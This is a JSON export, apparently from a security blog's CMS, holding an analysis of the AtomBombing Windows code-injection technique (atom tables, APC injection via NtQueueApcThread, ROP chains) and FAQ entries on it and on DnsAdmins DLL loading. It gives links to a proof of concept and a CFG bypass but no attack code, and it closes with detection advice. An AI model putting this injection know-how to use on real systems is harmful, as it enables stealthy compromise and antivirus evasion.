SYSVOL","2026-07-23T16:03:15.500Z",{"id":691,"question":692,"answer":693,"answerHtml":693,"slug":694,"keywords":695,"article":273,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":696,"createdAt":696,"_status":61},55,"What are the prerequisites for exploiting remote DLL loading on a DNS server using dnscmd?","You need credentials or hashes of a user in the DnsAdmins, Domain Admins, or Enterprise Admins groups. You also need a DNS server that can be remotely managed and access to a network share (like SYSVOL) to host the malicious DLL. This technique is detailed in [Domain Penetration - Remote DLL Loading on DNS Server Using dnscmd](\u002Fnews\u002Fdomain-penetration-remote-dll-loading-on-dns-server-using-dnscmd).","what-are-the-prerequisites-for-exploiting-remote-dll-loading-on-a-dns-server-usi-1777485393473","DnsAdmins, dnscmd, prerequisites, domain penetration, SYSVOL","2026-07-23T16:03:15.187Z",{"title":26,"description":26,"image":26},"2026-07-24T15:37:15.757Z","2026-07-23T16:00:56.839Z",{"id":280,"title":701,"slug":702,"description":703,"content":704,"contentHtml":711,"contentMarkdown":26,"cover":712,"author":43,"views":14,"readingTime":77,"status":45,"publishedAt":535,"seo":726,"tags":729,"qaPairs":730,"meta":766,"updatedAt":767,"createdAt":768,"_status":61},"AtomBombing Exploitation Analysis","atombombing-exploitation-analysis","Analysis of AtomBombing, a Windows code injection method using global atom tables and APC injection. Covers principles, exploitation, and defense strategies.",{"root":705},{"type":12,"format":13,"indent":14,"version":15,"children":706,"direction":24},[707],{"type":18,"format":13,"indent":14,"version":15,"children":708,"direction":24},[709],{"mode":21,"text":710,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In October 2016, the research team at cybersecurity company EnSilo disclosed a code injection method compatible with all Windows systems, naming it AtomBombing. It is claimed that this method can bypass most security software, and the system vulnerability exploited is difficult to patch.\u003C\u002Fp>\u003Cp>Therefore, this article will study the principles, test the functionality, analyze exploitation approaches, and summarize defense methods based on open-source code and materials.\u003C\u002Fp>\u003Cp>Learning materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblog.ensilo.com\u002Fatombombing-brand-new-code-injection-for-windows\u003C\u002Fp>\u003Cp>Author: Tal Liberman\u003C\u002Fp>\u003Cp>POC:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FBreakingMalwareResearch\u002Fatom-bombing\u002F\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>AtomBombing Implementation Method\u003C\u002Fli>\u003Cli>Key Techniques\u003C\u002Fli>\u003Cli>Defense Approach\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Basic Knowledge\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Atom Table\u003C\u002Fh3>\u003Cp>is a system-defined table that stores strings and their corresponding identifiers\u003C\u002Fp>\u003Cp>An application places a string into an Atom Table and receives a 16-bit integer (WORD) as an identifier (called an Atom), which can be used to access the string content, enabling data exchange between processes\u003C\u002Fp>\u003Ch4>Classification:\u003C\u002Fh4>\u003Cp>(1) Global Atom Table\u003C\u002Fp>\u003Cp>Available to all applications\u003C\u002Fp>\u003Cp>When a process saves a string to the Global Atom Table, the system generates a globally unique atom to identify the string. All processes within the system can retrieve the string via this atom (index), thereby enabling inter-process data exchange\u003C\u002Fp>\u003Cp>(2) Local Atom Table\u003C\u002Fp>\u003Cp>Only available to the current program, equivalent to defining a global variable. If the program uses this variable multiple times, using the Local Atom Table requires only one memory operation\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmsdn.microsoft.com\u002Fen-us\u002Flibrary\u002Fms649053\u003C\u002Fp>\u003Ch4>Common APIs:\u003C\u002Fh4>\u003Cp>Add a Global Atom:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ATOM WINAPI GlobalAddAtom(_In_ LPCTSTR lpString);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Delete a Global Atom:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ATOM WINAPI GlobalDeleteAtom(_In_ ATOM nAtom);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Find the Global Atom corresponding to the specified string:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ATOM WINAPI GlobalFindAtom(_In_ LPCTSTR lpString);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Get the string corresponding to the specified atom:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>UINT WINAPI GlobalGetAtomName(\u003Cbr>  _In_  ATOM   nAtom,\u003Cbr>  _Out_ LPTSTR lpBuffer,\u003Cbr>  _In_  int    nSize\u003Cbr>);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For usage examples, refer to the following link:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fsinmx\u002FWindows2K\u002Fblob\u002F661d000d50637ed6fab2329d30e31775046588a9\u002Fprivate\u002Fwindows\u002Fbase\u002Fclient\u002Ftatom.c\u003C\u002Fp>\u003Ch3>2. APC Injection\u003C\u002Fh3>\u003Cp>APC stands for Asynchronous Procedure Call\u003C\u002Fp>\u003Ch4>Principle of APC Injection:\u003C\u002Fh4>\u003Cp>When a thread is in an alertable state, it checks the APC queue; if a function pointer is inserted into the APC queue, that function will be executed\u003C\u002Fp>\u003Ch4>Details of APC Injection:\u003C\u002Fh4>\u003Cp>(1) When a thread calls functions such as SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx, it switches to an alertable state\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For reference on alertable state, see:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmsdn.microsoft.com\u002Fen-us\u002Flibrary\u002Fwindows\u002Fdesktop\u002Faa363772(v=vs.85).aspx\u003C\u002Fp>\u003Cp>(2) When a thread enters an alertable state, it repeatedly checks the APC queue in the thread; if a function pointer exists in the APC queue, it will call that function\u003C\u002Fp>\u003Cp>(3) Use the QueueUserAPC function to insert the function pointer LoadLibrary() into the APC queue to load a DLL\u003C\u002Fp>\u003Cp>(4) After successful injection, the alertable state ends, and the program continues running, which may cause instability and lead to a crash\u003C\u002Fp>\u003Cp>(5) If the APC queue is not cleared, the same function cannot be injected repeatedly\u003C\u002Fp>\u003Cp>(6) For APC injection to work, at least one thread in the target process must be in or capable of entering an alertable state; otherwise, APC injection cannot be achieved\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Most system processes meet the conditions and support APC injection.\u003C\u002Fp>\u003Cp>APC injection code for reference:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch3>3. Shellcode\u003C\u002Fh3>\u003Cp>In vulnerability exploitation, shellcode refers to the code input into a vulnerable program.\u003C\u002Fp>\u003Cp>It acts as a binary code framework, ultimately redirecting the program's flow to the payload.\u003C\u002Fp>\u003Ch3>4. Payload\u003C\u002Fh3>\u003Cp>The main functional code (common examples include download and execute, reverse shell, create new user, etc.) is contained within the shellcode.\u003C\u002Fp>\u003Ch2>0x03 Implementation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Write arbitrary data to any location in the target process's address space (Write-What-Where)\u003C\u002Fh3>\u003Cp>Pass shellcode to the target process by reading and writing atoms.\u003C\u002Fp>\u003Cp>The local process adds the shellcode to the Global Atom Table via GlobalAddAtom, and the target process retrieves the shellcode from the Global Atom Table by calling GlobalGetAtomName.\u003C\u002Fp>\u003Cp>Thus, the key challenge is how to make the target process call GlobalGetAtomName.\u003C\u002Fp>\u003Cp>Tal Liberman's approach is to use APC injection to make the target process call GlobalGetAtomName.\u003C\u002Fp>\u003Cp>However, a challenge was encountered here: the QueueUserAPC function can only pass one parameter to the target process, while GlobalGetAtomName requires three parameters.\u003C\u002Fp>\u003Cp>Therefore, Tal Liberman debugged the QueueUserAPC function and discovered that the NtQueueApcThread function could pass three parameters.\u003C\u002Fp>\u003Cp>This issue was resolved.\u003C\u002Fp>\u003Ch3>2. Execute shellcode\u003C\u002Fh3>\u003Cp>After the target process retrieves the shellcode from the Global Atom Table by calling GlobalGetAtomName, it needs to save the shellcode before executing it.\u003C\u002Fp>\u003Cp>First implementation method: Find a section of RWX memory to store and execute the shellcode.\u003C\u002Fp>\u003Cp>Not universal; current system protection mechanisms make it difficult to find such memory space.\u003C\u002Fp>\u003Cp>Second implementation method: Call VirtualAllocEx to allocate a section of memory.\u003C\u002Fp>\u003Cp>Common method.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Other common methods, such as using VirtualProtect to set the memory attributes of the shellcode to readable, writable, and executable, and then jumping to the shellcode to continue execution, do not work well here due to the need to consider the issue of passing parameters using the QueueUserAPC function.\u003C\u002Fp>\u003Cp>Thus, Tal Liberman attempted a third method: Find a section of RW memory to write data and construct a ROP chain to execute the shellcode.\u003C\u002Fp>\u003Cp>Finding a section of RW memory is not difficult; Tal Liberman chose unused space after the KERNELBASE data segment.\u003C\u002Fp>\u003Cp>The ROP chain achieved the following functionality:\u003C\u002Fp>\u003Col>\u003Cli>Allocate RWX memory.\u003C\u002Fli>\u003Cli>Copy shellcode from RW memory to RWX memory\u003C\u002Fli>\u003Cli>Execute\u003C\u002Fli>\u003C\u002Fol>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Regarding ROP chain construction, Tal Liberman proposed his own approach, aiming to simplify the ROP chain as much as possible. This optimization mindset is worth learning.\u003C\u002Fp>\u003Ch3>3. Resume execution\u003C\u002Fh3>\u003Cp>After injection, the target process execution needs to be resumed using the undocumented function ZwContinue.\u003C\u002Fp>\u003Ch2>0x04 Practical Testing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test system: Win7 x86\u003C\u002Fp>\u003Cp>Install Python, install pefile (easy_install pefile)\u003C\u002Fp>\u003Cp>Compile and generate AtomBombing.exe, AtomBombingShellcode.exe, and AtomBombingShellcode.h\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>AtomBombingShellcode.h is generated by \\AtomBombingShellcode\\Scripts\\Post_Link.py. Specific parameters can be viewed in the post-build events of the AtomBombingShellcode project, as shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019779422_0_76171bd2f6.jpeg\">\u003C\u002Fp>\u003Cp>Launch chrome.exe, execute AtomBombing.exe, injection successful, as shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019789455_1_b8471fa2ae.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fuploads\u002Fdocx_image_1770019800267_2_0e795d7378.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Supplement:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Windows 8.1 update 3 and Windows 10 introduced a new protection mechanism called CFG (Control Flow Guard). For bypassing CFG, refer to the following link:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblog.ensilo.com\u002Fatombombing-cfg-protected-processes\u003C\u002Fp>\u003Ch2>0x05 Exploitation Analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Based on publicly available information and actual testing, AtomBombing can be understood as an enhanced version of APC injection: it uses the Atom Table to deliver shellcode, achieves APC injection via NtQueueApcThread, and the shellcode employs a constructed ROP chain to allocate memory, write the payload (which pops up a calculator), and execute it.\u003C\u002Fp>\u003Cp>The Atom Table is supported across all Windows platforms, and this functionality is unlikely to be removed or patched in the short term, meaning there is essentially no patch to fix AtomBombing.\u003C\u002Fp>\u003Cp>However, successfully exploiting AtomBombing requires addressing multiple challenges (such as obtaining a thread in an alertable state, passing parameters via NtQueueApcThread, locating RX memory, constructing a ROP chain, etc.), making the exploitation threshold relatively high.\u003C\u002Fp>\u003Cp>It is not applicable to all processes (the target process must have at least one thread in an alertable state or capable of entering one).\u003C\u002Fp>\u003Cp>It can bypass some antivirus software but not all (since it uses NtQueueApcThread for injection).\u003C\u002Fp>\u003Ch2>0x06 Detection and Defense\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Considering AtomBombing as an enhanced version of APC injection, defense methods similar to those for APC injection can be applied. Attackers first need to gain execution privileges on the system and identify a suitable process that meets the criteria.\u003C\u002Fp>\u003Cp>\u003Cstrong>Detection:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Monitor calls to the NtQueueApcThread function\u003C\u002Fp>\u003Ch2>0.07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the implementation approach and key techniques of AtomBombing. Through practical testing, the final conclusion is drawn: AtomBombing is a new DLL injection method, which can be understood as an upgraded version of APC injection. It utilizes the Atom Table to transmit shellcode, achieves APC injection via NtQueueApcThread, and employs a constructed ROP chain in the shellcode to implement the functions of allocating memory, writing the payload (launching calculator), and executing it.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>In October 2016, the research team at cybersecurity company EnSilo disclosed a code injection method compatible with all Windows systems, naming it AtomBombing. It is claimed that this method can bypass most security software, and the system vulnerability exploited is difficult to patch.\u003C\u002Fp>\u003Cp>Therefore, this article will study the principles, test the functionality, analyze exploitation approaches, and summarize defense methods based on open-source code and materials.\u003C\u002Fp>\u003Cp>Learning materials:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblog.ensilo.com\u002Fatombombing-brand-new-code-injection-for-windows\u003C\u002Fp>\u003Cp>Author: Tal Liberman\u003C\u002Fp>\u003Cp>POC:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002FBreakingMalwareResearch\u002Fatom-bombing\u002F\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>AtomBombing Implementation Method\u003C\u002Fli>\u003Cli>Key Techniques\u003C\u002Fli>\u003Cli>Defense Approach\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Basic Knowledge\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Atom Table\u003C\u002Fh3>\u003Cp>is a system-defined table that stores strings and their corresponding identifiers\u003C\u002Fp>\u003Cp>An application places a string into an Atom Table and receives a 16-bit integer (WORD) as an identifier (called an Atom), which can be used to access the string content, enabling data exchange between processes\u003C\u002Fp>\u003Ch4>Classification:\u003C\u002Fh4>\u003Cp>(1) Global Atom Table\u003C\u002Fp>\u003Cp>Available to all applications\u003C\u002Fp>\u003Cp>When a process saves a string to the Global Atom Table, the system generates a globally unique atom to identify the string. All processes within the system can retrieve the string via this atom (index), thereby enabling inter-process data exchange\u003C\u002Fp>\u003Cp>(2) Local Atom Table\u003C\u002Fp>\u003Cp>Only available to the current program, equivalent to defining a global variable. If the program uses this variable multiple times, using the Local Atom Table requires only one memory operation\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmsdn.microsoft.com\u002Fen-us\u002Flibrary\u002Fms649053\u003C\u002Fp>\u003Ch4>Common APIs:\u003C\u002Fh4>\u003Cp>Add a Global Atom:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ATOM WINAPI GlobalAddAtom(_In_ LPCTSTR lpString);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Delete a Global Atom:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ATOM WINAPI GlobalDeleteAtom(_In_ ATOM nAtom);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Find the Global Atom corresponding to the specified string:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>ATOM WINAPI GlobalFindAtom(_In_ LPCTSTR lpString);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Get the string corresponding to the specified atom:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>UINT WINAPI GlobalGetAtomName(\u003Cbr>  _In_  ATOM   nAtom,\u003Cbr>  _Out_ LPTSTR lpBuffer,\u003Cbr>  _In_  int    nSize\u003Cbr>);\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For usage examples, refer to the following link:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fgithub.com\u002Fsinmx\u002FWindows2K\u002Fblob\u002F661d000d50637ed6fab2329d30e31775046588a9\u002Fprivate\u002Fwindows\u002Fbase\u002Fclient\u002Ftatom.c\u003C\u002Fp>\u003Ch3>2. APC Injection\u003C\u002Fh3>\u003Cp>APC stands for Asynchronous Procedure Call\u003C\u002Fp>\u003Ch4>Principle of APC Injection:\u003C\u002Fh4>\u003Cp>When a thread is in an alertable state, it checks the APC queue; if a function pointer is inserted into the APC queue, that function will be executed\u003C\u002Fp>\u003Ch4>Details of APC Injection:\u003C\u002Fh4>\u003Cp>(1) When a thread calls functions such as SleepEx, SignalObjectAndWait, MsgWaitForMultipleObjectsEx, WaitForMultipleObjectsEx, or WaitForSingleObjectEx, it switches to an alertable state\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>For reference on alertable state, see:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fmsdn.microsoft.com\u002Fen-us\u002Flibrary\u002Fwindows\u002Fdesktop\u002Faa363772(v=vs.85).aspx\u003C\u002Fp>\u003Cp>(2) When a thread enters an alertable state, it repeatedly checks the APC queue in the thread; if a function pointer exists in the APC queue, it will call that function\u003C\u002Fp>\u003Cp>(3) Use the QueueUserAPC function to insert the function pointer LoadLibrary() into the APC queue to load a DLL\u003C\u002Fp>\u003Cp>(4) After successful injection, the alertable state ends, and the program continues running, which may cause instability and lead to a crash\u003C\u002Fp>\u003Cp>(5) If the APC queue is not cleared, the same function cannot be injected repeatedly\u003C\u002Fp>\u003Cp>(6) For APC injection to work, at least one thread in the target process must be in or capable of entering an alertable state; otherwise, APC injection cannot be achieved\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Most system processes meet the conditions and support APC injection.\u003C\u002Fp>\u003Cp>APC injection code for reference:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Ch3>3. Shellcode\u003C\u002Fh3>\u003Cp>In vulnerability exploitation, shellcode refers to the code input into a vulnerable program.\u003C\u002Fp>\u003Cp>It acts as a binary code framework, ultimately redirecting the program's flow to the payload.\u003C\u002Fp>\u003Ch3>4. Payload\u003C\u002Fh3>\u003Cp>The main functional code (common examples include download and execute, reverse shell, create new user, etc.) is contained within the shellcode.\u003C\u002Fp>\u003Ch2>0x03 Implementation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. Write arbitrary data to any location in the target process's address space (Write-What-Where)\u003C\u002Fh3>\u003Cp>Pass shellcode to the target process by reading and writing atoms.\u003C\u002Fp>\u003Cp>The local process adds the shellcode to the Global Atom Table via GlobalAddAtom, and the target process retrieves the shellcode from the Global Atom Table by calling GlobalGetAtomName.\u003C\u002Fp>\u003Cp>Thus, the key challenge is how to make the target process call GlobalGetAtomName.\u003C\u002Fp>\u003Cp>Tal Liberman's approach is to use APC injection to make the target process call GlobalGetAtomName.\u003C\u002Fp>\u003Cp>However, a challenge was encountered here: the QueueUserAPC function can only pass one parameter to the target process, while GlobalGetAtomName requires three parameters.\u003C\u002Fp>\u003Cp>Therefore, Tal Liberman debugged the QueueUserAPC function and discovered that the NtQueueApcThread function could pass three parameters.\u003C\u002Fp>\u003Cp>This issue was resolved.\u003C\u002Fp>\u003Ch3>2. Execute shellcode\u003C\u002Fh3>\u003Cp>After the target process retrieves the shellcode from the Global Atom Table by calling GlobalGetAtomName, it needs to save the shellcode before executing it.\u003C\u002Fp>\u003Cp>First implementation method: Find a section of RWX memory to store and execute the shellcode.\u003C\u002Fp>\u003Cp>Not universal; current system protection mechanisms make it difficult to find such memory space.\u003C\u002Fp>\u003Cp>Second implementation method: Call VirtualAllocEx to allocate a section of memory.\u003C\u002Fp>\u003Cp>Common method.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Other common methods, such as using VirtualProtect to set the memory attributes of the shellcode to readable, writable, and executable, and then jumping to the shellcode to continue execution, do not work well here due to the need to consider the issue of passing parameters using the QueueUserAPC function.\u003C\u002Fp>\u003Cp>Thus, Tal Liberman attempted a third method: Find a section of RW memory to write data and construct a ROP chain to execute the shellcode.\u003C\u002Fp>\u003Cp>Finding a section of RW memory is not difficult; Tal Liberman chose unused space after the KERNELBASE data segment.\u003C\u002Fp>\u003Cp>The ROP chain achieved the following functionality:\u003C\u002Fp>\u003Col>\u003Cli>Allocate RWX memory.\u003C\u002Fli>\u003Cli>Copy shellcode from RW memory to RWX memory\u003C\u002Fli>\u003Cli>Execute\u003C\u002Fli>\u003C\u002Fol>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Regarding ROP chain construction, Tal Liberman proposed his own approach, aiming to simplify the ROP chain as much as possible. This optimization mindset is worth learning.\u003C\u002Fp>\u003Ch3>3. Resume execution\u003C\u002Fh3>\u003Cp>After injection, the target process execution needs to be resumed using the undocumented function ZwContinue.\u003C\u002Fp>\u003Ch2>0x04 Practical Testing\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Test system: Win7 x86\u003C\u002Fp>\u003Cp>Install Python, install pefile (easy_install pefile)\u003C\u002Fp>\u003Cp>Compile and generate AtomBombing.exe, AtomBombingShellcode.exe, and AtomBombingShellcode.h\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>AtomBombingShellcode.h is generated by \\AtomBombingShellcode\\Scripts\\Post_Link.py. Specific parameters can be viewed in the post-build events of the AtomBombingShellcode project, as shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019779422_0_76171bd2f6-1.jpeg\">\u003C\u002Fp>\u003Cp>Launch chrome.exe, execute AtomBombing.exe, injection successful, as shown in the figure below.\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019789455_1_b8471fa2ae-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cimg alt=\"Alt text\" src=\"\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019800267_2_0e795d7378-1.jpeg\">\u003C\u002Fp>\u003Cp>\u003Cstrong>Supplement:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Windows 8.1 update 3 and Windows 10 introduced a new protection mechanism called CFG (Control Flow Guard). For bypassing CFG, refer to the following link:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblog.ensilo.com\u002Fatombombing-cfg-protected-processes\u003C\u002Fp>\u003Ch2>0x05 Exploitation Analysis\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Based on publicly available information and actual testing, AtomBombing can be understood as an enhanced version of APC injection: it uses the Atom Table to deliver shellcode, achieves APC injection via NtQueueApcThread, and the shellcode employs a constructed ROP chain to allocate memory, write the payload (which pops up a calculator), and execute it.\u003C\u002Fp>\u003Cp>The Atom Table is supported across all Windows platforms, and this functionality is unlikely to be removed or patched in the short term, meaning there is essentially no patch to fix AtomBombing.\u003C\u002Fp>\u003Cp>However, successfully exploiting AtomBombing requires addressing multiple challenges (such as obtaining a thread in an alertable state, passing parameters via NtQueueApcThread, locating RX memory, constructing a ROP chain, etc.), making the exploitation threshold relatively high.\u003C\u002Fp>\u003Cp>It is not applicable to all processes (the target process must have at least one thread in an alertable state or capable of entering one).\u003C\u002Fp>\u003Cp>It can bypass some antivirus software but not all (since it uses NtQueueApcThread for injection).\u003C\u002Fp>\u003Ch2>0x06 Detection and Defense\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Considering AtomBombing as an enhanced version of APC injection, defense methods similar to those for APC injection can be applied. Attackers first need to gain execution privileges on the system and identify a suitable process that meets the criteria.\u003C\u002Fp>\u003Cp>\u003Cstrong>Detection:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>Monitor calls to the NtQueueApcThread function\u003C\u002Fp>\u003Ch2>0.07 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces the implementation approach and key techniques of AtomBombing. Through practical testing, the final conclusion is drawn: AtomBombing is a new DLL injection method, which can be understood as an upgraded version of APC injection. It utilizes the Atom Table to transmit shellcode, achieves APC injection via NtQueueApcThread, and employs a constructed ROP chain in the shellcode to implement the functions of allocating memory, writing the payload (launching calculator), and executing it.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>",{"id":713,"alt":714,"caption":715,"updatedAt":716,"createdAt":716,"url":717,"thumbnailURL":26,"filename":718,"mimeType":237,"filesize":719,"width":720,"height":721,"focalX":38,"focalY":38,"sizes":722},1764,"docx image 1770019779422 0 76171bd2f6","legacy:\u002Fuploads\u002Fdocx_image_1770019779422_0_76171bd2f6.jpeg","2026-07-24T15:37:08.400Z","\u002Fapi\u002Fmedia\u002Ffile\u002Fdocx_image_1770019779422_0_76171bd2f6-1.jpeg","docx_image_1770019779422_0_76171bd2f6-1.jpeg",45150,919,439,{"thumbnail":723,"card":724,"og":725},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"url":26,"width":26,"height":26,"mimeType":26,"filesize":26,"filename":26},{"title":727,"description":703,"keywords":728,"ogImage":26,"canonicalUrl":26,"noIndex":50},"AtomBombing Exploitation Analysis: Windows Code Injection & Defense","AtomBombing, Windows exploitation, code injection, APC injection, global atom table, shellcode, payload, cybersecurity, EnSilo, inter-process communication",[],{"docs":731,"hasNextPage":50},[732,739,746,753,760],{"id":733,"question":734,"answer":735,"answerHtml":735,"slug":736,"keywords":737,"article":280,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":738,"createdAt":738,"_status":61},54,"What are the limitations and prerequisites for a successful AtomBombing attack?","A successful attack requires at least one thread in the target process to be in an alertable state (e.g., calling `SleepEx`), the ability to call `NtQueueApcThread` with three parameters, and finding suitable RW memory to store the shellcode. Additionally, on Windows 10 and 8.1, Control Flow Guard (CFG) must be bypassed, as discussed in EnSilo's follow-up blog. The technique's complexity means it has a high exploitation threshold, unlike simpler methods like [Analysis of .NET Assembly Loading from Memory (execute-assembly) Exploitation](\u002Fnews\u002Fanalysis-of-net-assembly-loading-from-memory-execute-assembly-exploitation).","what-are-the-limitations-and-prerequisites-for-a-successful-atombombing-attack-1777485372607","alertable state, exploitation threshold, CFG bypass, NtQueueApcThread, prerequisites","2026-07-23T16:03:14.794Z",{"id":740,"question":741,"answer":742,"answerHtml":742,"slug":743,"keywords":744,"article":280,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":745,"createdAt":745,"_status":61},53,"What makes AtomBombing difficult to patch compared to other injection methods?","AtomBombing exploits the Global Atom Table, a core Windows mechanism for inter-process data exchange that is unlikely to be removed or patched. While the specific exploitation steps (like using `NtQueueApcThread` and constructing a ROP chain) can be mitigated, the underlying Atom Table functionality is essential for system compatibility. This makes a permanent patch challenging, as detailed in the [AtomBombing Exploitation Analysis](\u002Fnews\u002Fatombombing-exploitation-analysis).","what-makes-atombombing-difficult-to-patch-compared-to-other-injection-methods-1777485372526","patch difficulty, Global Atom Table, Windows compatibility, unpatched vulnerability","2026-07-23T16:03:14.273Z",{"id":747,"question":748,"answer":749,"answerHtml":749,"slug":750,"keywords":751,"article":280,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":752,"createdAt":752,"_status":61},52,"How does AtomBombing execute the shellcode after writing it into the target process?","After the target retrieves the shellcode via `GlobalGetAtomName` into an RW memory region (e.g., unused space after the KERNELBASE data 